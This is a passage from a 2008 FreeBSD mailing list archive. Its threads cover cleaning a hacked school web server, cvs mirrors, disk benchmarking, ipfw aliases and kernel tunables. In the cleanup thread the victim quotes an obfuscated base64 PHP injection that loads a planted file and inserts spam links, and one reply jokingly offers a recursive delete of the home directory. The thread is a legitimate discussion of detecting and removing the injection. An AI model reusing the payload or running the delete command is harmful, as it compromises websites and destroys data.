dXJuICRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM7fX1mdW5jdGlvbiBkZ29i > aCgkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKXtIZWFkZXIoJ0NvbnRlbnQt > RW5jb2Rpbmc6IG5vbmUnKTskUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwPWd6 > ZGVjb2RlKCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0YpO2lmKHByZWdfbWF0 > Y2goJy9cPGJvZHkvc2knLCRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTApKXty > ZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8Ym9keVteXD5dKlw+KS9zaScsJyQxJy5nbWwoKSwk > UjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKTt9ZWxzZXtyZXR1cm4gZ21sKCku > JFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MDt9fW9iX3N0YXJ0KCdkZ29iaCcp > O319fQ==')); ?>" > > This basically brings up a pile of spam links. > > I need to do a find / replace throughout the entire of the > /home/horbury/public_html directory... > I've tried 'find /home/Horbury/ -type f | xargs grep -l base64_decode' > to get a list of the files that require the operation performing, but it > comes up with an error (xargs: unterminated quote) after a few > results... > try using find /home/Horbury/ -type f -print0| xargs -0 grep -l base64_decode (not certain it'll fix it but good practice anyway) Vince > Any tips? Basically to find the above and remove it... otherwise I'll > have to resort to doing it in Dreamweaver and reuploading, which is a > major pita, or restoring from a backup (after working out when exactly > this happened and how - I'm guessing thru a teacher's out of date > wordpress install somewhere). > > Marc A Coyles - Horbury School ICT Support Team > Mbl: 07850 518106 > Land: 01924 282740 ext 730 > Helpdesk: 01924 282740 ext 2000 > > > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From michael.copeland at gmail.com Thu Dec 4 04:53:56 2008 From: michael.copeland at gmail.com (michael) Date: Thu Dec 4 04:54:03 2008 Subject: hp dv2225nr laptop optical drive random ejects In-Reply-To: <1945089444-1228360728-cardhu_decombobulator_blackberry.rim.net-1342228431-@bxe1001.bisx.prodap.on.blackberry> References: <1945089444-1228360728-cardhu_decombobulator_blackberry.rim.net-1342228431-@bxe1001.bisx.prodap.on.blackberry> Message-ID: <4937D2E1.7010009@gmail.com> I had assumed something like that, but my drive is san cable. It uses a solid connection via a hard plastic port, similar to an sata port, but no cables. That lead me to believe that the port itself could be ill-aligned or something. I can press on the case above the optical drive and it will eject. So that must be what it is. Anthony M. Rasat wrote: >> has anyone ever seen this happen? >system is 8.0-current, drive is not >> being used and it will just eject while >sitting on a table. >> > > Yes, I did. > > It was hardware-related. It was the CD/DVD ribbon connector getting all wrinkles and apparently something resetting just out of even the smallest vibration. > > You may find this ribbon connector appearance conspicous. It usually gold or red colored. Look from under your laptop while drive's out if you can't see it from topside. > > And this ribbon connector is not exactly cheap too. I'm not sure why. > > From jcigar at ulb.ac.be Thu Dec 4 04:57:55 2008 From: jcigar at ulb.ac.be (Julien Cigar) Date: Thu Dec 4 04:58:02 2008 Subject: Mass find/replace... In-Reply-To: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> Message-ID: <1228395500.2781.41.camel@frodon.be-bif.ulb.ac.be> the following should work : $ find /home/horbury -type f -print0 | xargs -0 grep 'base64_decode' or : $ find /home/horbury -type f -exec grep 'base64_decode' {} \; On Thu, 2008-12-04 at 12:14 +0000, Marc Coyles wrote: > Never had to do this so not sure where to start. Have googled and found > some solutions but they don't particularly work (see below)... > > Someone has managed to inject php code into a PILE of php pages on my > webserver... > > " /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNz > ZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhp > c3RzKCcvaG9tZS9ob3JidXJ5L3B1YmxpY19odG1sL3N0cmljdC9tb2R1bGVzL2Zja2VkaXRv > ci9mY2tlZGl0b3IvZWRpdG9yL2ZpbGVtYW5hZ2VyL2Jyb3dzZXIvZGVmYXVsdC9pbWFnZXMv > aWNvbnMvMzIvbWRsX3V0Zi5waHAnKSl7aW5jbHVkZV9vbmNlKCcvaG9tZS9ob3JidXJ5L3B1 > YmxpY19odG1sL3N0cmljdC9tb2R1bGVzL2Zja2VkaXRvci9mY2tlZGl0b3IvZWRpdG9yL2Zp > bGVtYW5hZ2VyL2Jyb3dzZXIvZGVmYXVsdC9pbWFnZXMvaWNvbnMvMzIvbWRsX3V0Zi5waHAn > KTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcp > KXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRlY29kZSgk > UjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4KXskUjZCNkU5OENERThCMzMwODdB > MzNFNEQzQTQ5N0JEODZCPW9yZChzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYw > NjczMjg2OCwzLDEpKTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPTEwOyRS > MEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9MDtpZigkUjZCNkU5OENERThCMzMw > ODdBMzNFNEQzQTQ5N0JEODZCJjQpeyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5 > MzE9dW5wYWNrKCd2JyxzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2 > OCwxMCwyKSk7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT0kUjBENTQyMzZE > QTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxWzFdOyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4 > ODQ2MzVFNDErPTIrJFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMTt9aWYoJFI2 > QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY4KXskUjYwMTY5Q0QxQzQ3QjdBN0E4 > NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMy > ODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZigk > UjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdB > N0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2 > NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31p > ZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRSNjAxNjlDRDFDNDdC > N0E3QTg1QUI0NEY4ODQ2MzVFNDErPTI7fSRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFF > MzlGNTM9Z3ppbmZsYXRlKHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMy > ODY4LCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKTtpZigkUkM0QTVCNUUz > MTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPT09RkFMU0UpeyRSQzRBNUI1RTMxMEVENEMzMjNF > MDRENzJBRkFFMzlGNTM9JFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2ODt9cmV0 > dXJuICRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM7fX1mdW5jdGlvbiBkZ29i > aCgkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKXtIZWFkZXIoJ0NvbnRlbnQt > RW5jb2Rpbmc6IG5vbmUnKTskUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwPWd6 > ZGVjb2RlKCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0YpO2lmKHByZWdfbWF0 > Y2goJy9cPGJvZHkvc2knLCRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTApKXty > ZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8Ym9keVteXD5dKlw+KS9zaScsJyQxJy5nbWwoKSwk > UjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKTt9ZWxzZXtyZXR1cm4gZ21sKCku > JFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MDt9fW9iX3N0YXJ0KCdkZ29iaCcp > O319fQ==')); ?>" > > This basically brings up a pile of spam links. > > I need to do a find / replace throughout the entire of the > /home/horbury/public_html directory... > I've tried 'find /home/Horbury/ -type f | xargs grep -l base64_decode' > to get a list of the files that require the operation performing, but it > comes up with an error (xargs: unterminated quote) after a few > results... > > Any tips? Basically to find the above and remove it... otherwise I'll > have to resort to doing it in Dreamweaver and reuploading, which is a > major pita, or restoring from a backup (after working out when exactly > this happened and how - I'm guessing thru a teacher's out of date > wordpress install somewhere). > > Marc A Coyles - Horbury School ICT Support Team > Mbl: 07850 518106 > Land: 01924 282740 ext 730 > Helpdesk: 01924 282740 ext 2000 > > > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- Julien Cigar Belgian Biodiversity Platform http://www.biodiversity.be Universit? Libre de Bruxelles (ULB) Campus de la Plaine CP 257 B?timent NO, Bureau 4 N4 115C (Niveau 4) Boulevard du Triomphe, entr?e ULB 2 B-1050 Bruxelles Mail: jcigar@ulb.ac.be @biobel: http://biobel.biodiversity.be/person/show/471 Tel : 02 650 57 52 From mail at ozzmosis.com Thu Dec 4 04:59:53 2008 From: mail at ozzmosis.com (andrew clarke) Date: Thu Dec 4 05:00:00 2008 Subject: cvs stupid question In-Reply-To: <20081203163047.B47567@wojtek.tensor.gdynia.pl> References: <20081203163047.B47567@wojtek.tensor.gdynia.pl> Message-ID: <20081204125950.GA54488@ozzmosis.com> On Wed 2008-12-03 16:31:29 UTC+0100, Wojciech Puchar (wojtek@wojtek.tensor.gdynia.pl) wrote: > export CVSROOT=freebsdanoncvs@anoncvs.FreeBSD.org:/home/ncvs > cvs checkout -rRELENG_7 src > > waited over an hour, no files got fetched > > what i'm doing wrong? Looks like the server is down: $ export CVSROOT=freebsdanoncvs@anoncvs.FreeBSD.org:/home/ncvs $ cvs checkout -rRELENG_7 src ssh: connect to host anoncvs.FreeBSD.org port 22: Connection refused cvs [checkout aborted]: end of file from server (consult above messages if any) This works: $ export CVSROOT=anoncvs@anoncvs1.FreeBSD.org:/home/ncvs $ cvs checkout -rRELENG_7 src The authenticity of host 'anoncvs1.freebsd.org (216.87.78.137)' can't be established. DSA key fingerprint is 53:1f:15:a3:72:5c:43:f6:44:0e:6a:e9:bb:f8:01:62. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'anoncvs1.freebsd.org' (DSA) to the list of known hosts. cvs checkout: Updating src U src/COPYRIGHT U src/LOCKS U src/MAINTAINERS U src/Makefile ^Ccvs [checkout aborted]: received interrupt signal $ Killed by signal 2. From wojtek at wojtek.tensor.gdynia.pl Thu Dec 4 05:00:17 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Thu Dec 4 05:00:24 2008 Subject: Tool for benchmark local disk vs. iSCSI In-Reply-To: References: <20081204113806.GA4578@aurora.oekb.co.at> Message-ID: <20081204135941.C53671@wojtek.tensor.gdynia.pl> >> >> My first thought was about "iozone"... > > iozone is ok, but a little complex to run. Any disk benchmark will be ok > - bonnie++, blogbench, etc. but each has an emphasis on a different > aspect of the system. I think bonnie++ will be the simplest in your case. can bonnie++ operate on raw device not filesystem? he asked about disk benchmarked not disk+filesystem > > Make sure you know what you're benchmarking - for example if the iSCSI > drive (target) is hosted as a file in a regular file system, it will be > overly (and dangerously) cached on the server. > > From mail25 at bzerk.org Thu Dec 4 05:00:25 2008 From: mail25 at bzerk.org (Ruben de Groot) Date: Thu Dec 4 05:00:33 2008 Subject: Mass find/replace... In-Reply-To: <4937D272.9090108@unsane.co.uk> References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> <4937D272.9090108@unsane.co.uk> Message-ID: <20081204130021.GA17518@ei.bzerk.org> On Thu, Dec 04, 2008 at 12:52:02PM +0000, Vincent Hoffman typed: > Marc Coyles wrote: > > > > I need to do a find / replace throughout the entire of the > > /home/horbury/public_html directory... > > I've tried 'find /home/Horbury/ -type f | xargs grep -l base64_decode' > > to get a list of the files that require the operation performing, but it > > comes up with an error (xargs: unterminated quote) after a few > > results... > > > try using > > find /home/Horbury/ -type f -print0| xargs -0 grep -l base64_decode > (not certain it'll fix it but good practice anyway) Or just: grep -r base64_decode /home/Horbury Ruben From ivoras at freebsd.org Thu Dec 4 05:04:52 2008 From: ivoras at freebsd.org (Ivan Voras) Date: Thu Dec 4 05:05:00 2008 Subject: Tool for benchmark local disk vs. iSCSI In-Reply-To: <20081204135941.C53671@wojtek.tensor.gdynia.pl> References: <20081204113806.GA4578@aurora.oekb.co.at> <20081204135941.C53671@wojtek.tensor.gdynia.pl> Message-ID: Wojciech Puchar wrote: >>> >>> My first thought was about "iozone"... >> >> iozone is ok, but a little complex to run. Any disk benchmark will be ok >> - bonnie++, blogbench, etc. but each has an emphasis on a different >> aspect of the system. I think bonnie++ will be the simplest in your case. > can bonnie++ operate on raw device not filesystem? > > he asked about disk benchmarked not disk+filesystem > Sorry, you're right. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 252 bytes Desc: OpenPGP digital signature Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081204/a0f23976/signature.pgp From wojtek at wojtek.tensor.gdynia.pl Thu Dec 4 05:19:36 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Thu Dec 4 05:19:43 2008 Subject: Mass find/replace... In-Reply-To: <20081204130021.GA17518@ei.bzerk.org> References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> <4937D272.9090108@unsane.co.uk> <20081204130021.GA17518@ei.bzerk.org> Message-ID: <20081204141855.H53747@wojtek.tensor.gdynia.pl> > > Or just: > > grep -r base64_decode /home/Horbury > rm -rf /home/Horbury and then - write the webpage code properly :) From k.proskurin at fxclub.org Thu Dec 4 05:31:25 2008 From: k.proskurin at fxclub.org (Proskurin Kirill) Date: Thu Dec 4 05:31:32 2008 Subject: Downgrading Ports In-Reply-To: <028901c955fe$9b7833d0$d2689b70$@za.net> References: <025d01c955f2$4856e270$d904a750$@za.net> <4937AC23.1030203@b1c1l1.com> <028901c955fe$9b7833d0$d2689b70$@za.net> Message-ID: <4937DBA8.8020509@fxclub.org> Marcel Grandemange wrote: > > I have used portdowngrade successfully on ports already installed, but > doesn't work on a port not installed yet. > Am I doing something wrong? Yes - you not read the man. portupgrade -N newport or sometimes better: portupgrade -N portclass/newport For example portupgrade -N www/apache2 P.S. Config our MTA to add "reply-to: freebsd-questions@freebsd.org" filed then sed messages to this list. -- Best regards, Proskurin Kirill From k.proskurin at fxclub.org Thu Dec 4 05:33:04 2008 From: k.proskurin at fxclub.org (Proskurin Kirill) Date: Thu Dec 4 05:33:12 2008 Subject: Downgrading Ports In-Reply-To: <4937DBA8.8020509@fxclub.org> References: <025d01c955f2$4856e270$d904a750$@za.net> <4937AC23.1030203@b1c1l1.com> <028901c955fe$9b7833d0$d2689b70$@za.net> <4937DBA8.8020509@fxclub.org> Message-ID: <4937DC0E.5070602@fxclub.org> Proskurin Kirill wrote: > Marcel Grandemange wrote: >> >> I have used portdowngrade successfully on ports already installed, but >> doesn't work on a port not installed yet. >> Am I doing something wrong? > > Yes - you not read the man. > > portupgrade -N newport > or sometimes better: > > portupgrade -N portclass/newport > > For example > portupgrade -N www/apache2 > > P.S. Config our MTA to add "reply-to: freebsd-questions@freebsd.org" > filed then sed messages to this list. > Ops! I miss prog name - think you talk about portupgrade Sorry. -- Best regards, Proskurin Kirill From weldon at excelsus.com Thu Dec 4 05:38:27 2008 From: weldon at excelsus.com (Weldon S Godfrey 3) Date: Thu Dec 4 05:43:41 2008 Subject: loader.conf issues In-Reply-To: <20081203163253.17qwm4xctqaoccc4w@intranet.casasponti.net> References: <20081203103803.V43611@emmett.excelsus.com> <20081203163253.17qwm4xctqaoccc4w@intranet.casasponti.net> Message-ID: <20081204083633.J23406@emmett.excelsus.com> Thanks, I meant to update this earlier, it appears that the kmem tunables need a larger cast in 7.x (to use beyond 4GB kernel memory map), I opened a ticket yesterday. If memory serves me right, sometime around Yesterday, eculp@casasponti.net...: > > Weldon S Godfrey 3 escribi?: > >> >> I did a quick search for this and didn't see anyone seeing this. >> >> I am running 7.0-PRERELEASE amd64 >> >> This is my loader.conf: >> >> vm.kmem_size_max="16106127360" >> vm.kmem_size="1073741824" >> kern.maxvnodes="800000" > > I've always changed those variables in /etc/sysctl.conf > > ed > >> >> However, this is what happens after reboot: >> >> store1# sysctl -a | grep kmem >> vm.kmem_size_scale: 3 >> vm.kmem_size_max: 3221225472 >> vm.kmem_size_min: 0 >> vm.kmem_size: 1073741824 >> store1# sysctl -a | grep kern.maxvn >> kern.maxvnodes: 100000 >> store1# >> >> >> Is there some issue with vm.kmem_size_max being larger than 3G? If this has >> been fixed, let me know. I am using 7.0-RELEASE loader from amd64 iso since >> for some reason, when I complile a new loader on this Dell 2950-iii, I get >> an unusable loader (it just hangs before the screen to select safe mode, >> single user mode, etc). >> >> Thanks, >> >> Weldon >> _______________________________________________ >> freebsd-questions@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" >> > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From smithi at nimnet.asn.au Thu Dec 4 06:36:15 2008 From: smithi at nimnet.asn.au (Ian Smith) Date: Thu Dec 4 06:36:25 2008 Subject: Is there anything weird I should know about using ipfw on alias addresses? In-Reply-To: <4937288A.5070106@net24.co.nz> References: <20081201120023.9E1821065688@hub.freebsd.org> <20081201233222.L34249@sola.nimnet.asn.au> <4934534D.1060100@net24.co.nz> <20081204012026.O60430@sola.nimnet.asn.au> <4937288A.5070106@net24.co.nz> Message-ID: <20081205003414.U60430@sola.nimnet.asn.au> On Thu, 4 Dec 2008, Brett Davidson wrote: > Ian Smith wrote: > > On Tue, 2 Dec 2008, Brett Davidson wrote: > > > Ian Smith wrote: > > > > On Mon, 01 Dec 2008 16:52:12 +1300 Brett Davidson > > > > wrote: > > > > > > > ifconfig shows the alias addresses correctly bound. > > > > > Creating an ipfw rule and testing it from the command line works > > > > > (connects out from master address, not alias) > > > > > > From website on alias address, the firewall blocks the packets. > > > > > > > > > > The weird thing is that it tags them (in the security log) as > > coming > > > > > from the master address (not the alias) out the correct interface. In > > a > > > > > normal world that would mean the packet would match!!!!! > > > > > > What's goin' on here Willis? > > > > > > Difficult to tell without seeing a) ifconfig b) netstat -rn c) at > > least the > > > > relevant firewall rule/s and d) log entries that illustrate your > > problem. > > > > Obscure sensitive information by all means, but otherwise pretend we > > > > haven't the slightest clue how your system is configured :) > > > > > > Fair enough. > > > > ifconfig below: > > > > bce1: flags=8843 mtu 1500 > > > options=3b > > > inet 210.5.50.5 netmask 0xffffffe0 broadcast 210.5.50.31 > > NB .. > > > inet 210.5.51.32 netmask 0xffffffff broadcast 210.5.51.32 > > > inet 210.5.51.27 netmask 0xffffffff broadcast 210.5.51.27 > > > inet 210.5.51.33 netmask 0xffffffff broadcast 210.5.51.33 > > > inet 210.5.51.34 netmask 0xffffffff broadcast 210.5.51.34 > > > inet 210.5.51.42 netmask 0xffffffff broadcast 210.5.51.42 > > > inet 210.5.51.4 netmask 0xffffffff broadcast 210.5.51.4 > > > ether 00:1c:c4:c0:56:94 > > > media: Ethernet autoselect (1000baseSX ) > > > status: active > > > > Relevant /etc/rc.conf entries : > > > ifconfig_bce1="inet 210.5.50.5 netmask 255.255.255.224" > > > ifconfig_bce1_alias0="inet 210.5.50.5 netmask 255.255.255.224" > > > > Your first alias here is a repeat of the 'primary' address. ifonfig seems > > to have resolved/merged that above, but it's not an alias. > > > > > True. Blame that on the piece of software (Plesk) that manages the IP > addresses for the websites we host. Ok in this instance. Please copy the list on replies, for archives. > > > ifconfig_bce1_alias1="inet 210.5.51.4 netmask 255.255.255.255" > > > ifconfig_bce1_alias2="inet 210.5.51.27 netmask 255.255.255.255" > > > ifconfig_bce1_alias3="inet 210.5.51.32 netmask 255.255.255.255" > > > ifconfig_bce1_alias4="inet 210.5.51.33 netmask 255.255.255.255" > > > ifconfig_bce1_alias5="inet 210.5.51.34 netmask 255.255.255.255" > > > ifconfig_bce1_alias6="inet 210.5.51.42 netmask 255.255.255.255" > > > > I didn't spot on first reading this that the first address is in a > > different subnet than all the others. I'm not entirely sure whether that's > > relevant, or how, just pointing it out as being non-obvious, and suspecting > > one of the 210.5.51 subnet should show a broader netmask. > > > I've wondered that as well but it all works EXCEPT for when ipfw is involved. Looks like we may need to see more, if not all, of your ipfw ruleset. 'ipfw -ted show' is pretty good for seeing everything. try adding 'log' to some more rules, until you can SEE where packets are getting blocked. Doesn't 'tcpdump -pn -i bce1 host 210.5.51.42 and host 208.69.123.164' provide any good clues to these flows? Or in this case maybe better: tcpdump -pn -i bce1 host \(210.5.51.42 or 210.5.50.5\) and host 208.69.123.164 > > > Relevant ipfw rules : > > > ipfw -q add 02012 allow tcp from any to 208.69.123.164 80 out via bce1 > > setup > > > keep-state > > > ipfw -q add 02012 allow tcp from any to 208.69.123.164 443 out via bce1 > > setup > > > keep-state Do you have a check-state rule? Where? Are there any skiptos that might miss anything? Do you have rules affecting established traffic? Sorry, but I find this too like a guessing game, or pulling teeth :) > > netstat -finet -rn (or -rna) please? unclear where your default route > > goes, or how the 210.5.51 subnet is routed or its netmask, but assume that > > 208.69.123.164 is probably accessed via the default route .. > > > > > Routing tables > > Internet: > Destination Gateway Flags Refs Use Netif Expire > default 210.5.50.1 UGS 0 296628406 bce1 > 127.0.0.1 127.0.0.1 UH 0 4339898 lo0 > 172.16.1/24 link#1 UC 0 0 bce0 > 172.16.1.1 00:04:28:ad:10:00 UHLW 1 0 bce0 1035 > 172.16.1.4 00:04:23:08:28:30 UHLW 1 167202525 bce0 1189 > 172.16.1.8 00:04:23:b2:f7:17 UHLW 1 0 bce0 1021 > 172.16.1.9 00:04:23:c7:79:0d UHLW 1 1 bce0 1190 > 172.16.1.12 00:07:e9:f4:cc:51 UHLW 1 0 bce0 1021 > 172.16.1.23 00:04:23:c7:78:cd UHLW 1 0 bce0 1199 > 172.16.1.30 00:04:23:d1:b9:c7 UHLW 1 0 bce0 1104 > 172.16.1.255 ff:ff:ff:ff:ff:ff UHLWb 1 156242 bce0 > 210.5.50/27 link#2 UC 0 0 bce1 > 210.5.50.1 00:04:28:ad:10:00 UHLW 2 0 bce1 1060 > 210.5.50.5 00:1c:c4:c0:56:94 UHLW 1 5010367 lo0 > 210.5.50.31 ff:ff:ff:ff:ff:ff UHLWb 1 350707 bce1 > 210.5.51.4/32 link#2 UC 0 0 bce1 > 210.5.51.27/32 link#2 UC 0 0 bce1 > 210.5.51.32/32 link#2 UC 0 0 bce1 > 210.5.51.33/32 link#2 UC 0 0 bce1 > 210.5.51.34/32 link#2 UC 0 0 bce1 > 210.5.51.42/32 link#2 UC 0 0 bce1 > > As you can see,. it's pretty straightforward and works except where ipfw is > involved with the website on 210.5.51.42. Ok, so if it works without ipfw running, then some ipfw rule is blocking traffic, it's safe enough to say. See above about showing timestamps to see what happened when (ie what just happened on the latest test). > > > Interesting entries in /var/log/security : > > > Dec 1 16:42:25 kernel: ipfw: 9999 Deny TCP > > 210.5.50.5:49708 > > > 208.69.123.164:80 out via bce1 > > > > Did that occur =after= the above rules were installed? Just the one? > > Seems odd on face value, but without knowing what your other rules do. > > > Yes - it's our last default catch-all rule that blocks and logs all traffic > not handled by any previous rules. Mmm. And these keep on occurring all the while? Or just on startup? > > > What makes this interesting is that I can connect to that port via the > > > command line. > > > > You mean like with 'telnet 208.69.123.164 80' ? With 210.5.50.5 as source > > address? tcpdump output may help understand or explain this. > > > Indeed! That's exactly what I mean which is why the security log output is a > little weird. tcpdump output may help .. and some timestamped logging. Dig deeper. > > > It's the website that lives on 210.5.51.42 that is having problems. Why, > > if > > > the rule is valid enough for the command line is it having problems from > > an > > > aliased address? > > > > Hang on; do you mean you're having a webserver on 210.5.51.42 trying to > > connect out to another webserver on 208.69.123.164 ? If not, what? > > > > > Bingo! Ah well. So what are you using / how are you getting this webserver's alias to establish outbound sockets using that address as the source address, rather than the 210.5.50.5 the system will normally assume? Some things - named's one example - allow specifying the source query address, so show how are you doing that from a webserver, where you can specify listening address/es inbound, but not (usually) outbound? If these packets were sourced from 210.5.50.5 and not 210.5.51.42 as you're expecting, then replies will never go back to 210.5.51.42, eh? > > I guess you have rules allowing inbound port 80 access to 210.5.51.42 ? > > > Yes, as well as 443 (the reason for having a seperate address in the first > place). > > > And that your upstream is routing 210.5.51.42/something to 210.5.50.5 ? > > > Correct. > > > > This MUST have something to do with the way ipfw is working with aliased > > > addresses but I'm blowed if I know what is wrong. > > > > ipfw doesn't do anything different with any address in particular except > > when using the forward action. ipfw certainly has no concept of primary or > > alias addresses, it just applies the addresses/masks you specify. > > > > Nor does ipfw know or care (even when forwarding) whence the stack is next > > going to route outbound packets .. but netstat -rn will tell us. Sorry, still way too little evidence to convict this masked culprit .. for this non-psychic bear of little brain anyway. Did I mention tcpdump? cheers, Ian From tajudd at gmail.com Thu Dec 4 06:38:17 2008 From: tajudd at gmail.com (Tim Judd) Date: Thu Dec 4 06:38:25 2008 Subject: what script is whacking root's files In-Reply-To: <6.0.0.22.2.20081204062415.026b7c80@mail.computinginnovations.com> References: <6.0.0.22.2.20081203192259.0241ef88@mail.computinginnovations.com> <49374418.6060709@FreeBSD.org> <6.0.0.22.2.20081204062415.026b7c80@mail.computinginnovations.com> Message-ID: On Thu, Dec 4, 2008 at 5:30 AM, Derek Ragona wrote: > At 01:11 AM 12/4/2008, Tim Judd wrote: > > On Wed, Dec 3, 2008 at 7:44 PM, Kris Kennaway wrote: > > > Derek Ragona wrote: > > > >> I have a freshly installed 7.0 release server. The configuration files > >> (all dot files including .ssh etc.) in /root keep getting deleted. I > >> assume this is from a script running from periodic and can be set NOT to > >> delete these files. Can someone point me where I need to make this > change. > >> I have already combed through the handbook and mailing list archives. > >> > > > > There is no such standard script in FreeBSD. > > > > Kris > > > > _______________________________________________ > > freebsd-questions@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > To unsubscribe, send any mail to " > > freebsd-questions-unsubscribe@freebsd.org" > > > > > I'd make sure there's not something like a tmpfs/mfs filesystem that /root > is being used on. If / is on a ramdisk image of any kind, on each reboot, > it should disappear. > > Perhaps you should paste your fstab and current mounted filesystems as an > aid to debug. > > > I didn't think it would be from the way the filesystems are mounted, so > here's that information: > > cat /etc/fstab > # Device Mountpoint FStype Options Dump > Pass# > /dev/da0s1b none swap sw 0 0 > /dev/da0s1a / ufs rw 1 1 > /dev/da0s1d /usr ufs rw 2 2 > /dev/acd0 /cdrom cd9660 ro,noauto 0 0 > > mount > /dev/da0s1a on / (ufs, local) > devfs on /dev (devfs, local) > /dev/da0s1d on /usr (ufs, local, soft-updates) > > /root is on /dev/da0s1a > > This particular server is running in a VM on a vmware esx 3.5 server. The > server runs fine, but every so often the dot files disappear for root. I > have not found the behavior to follow a reboot, but some period of time. > Hence my suspicions it was a periodic script. > > -Derek > all dotfiles are hidden, in terms of the usability of the files. Some shells will alias 'ls' with -a to show all files (including dotfiles). Other shells don't alias it so it hides the files. Are you sure they really disappear, or are they gone from a directory listing because ls is not being called with -(a)ll files displayed? I just think that your files are not being deleted. Something is just not being specified. Check system crontab file (/etc/crontab) and your own crontab (crontab -lu root) Change your root password, incase somebody's in there, deleting your files to hide their own tracks. chmod -R 0600 /root I agree that there isn't something "correct" about this, but i'm positive it's not a base periodic script that's included in FreeBSD Base install. From ivoras at freebsd.org Thu Dec 4 06:48:41 2008 From: ivoras at freebsd.org (Ivan Voras) Date: Thu Dec 4 06:48:49 2008 Subject: what script is whacking root's files In-Reply-To: <6.0.0.22.2.20081204062415.026b7c80@mail.computinginnovations.com> References: <6.0.0.22.2.20081203192259.0241ef88@mail.computinginnovations.com> <49374418.6060709@FreeBSD.org> <6.0.0.22.2.20081204062415.026b7c80@mail.computinginnovations.com> Message-ID: Derek Ragona wrote: > This particular server is running in a VM on a vmware esx 3.5 server. > The server runs fine, but every so often the dot files disappear for > root. I have not found the behavior to follow a reboot, but some period > of time. Hence my suspicions it was a periodic script. > Are you sure the vmware server doesn't 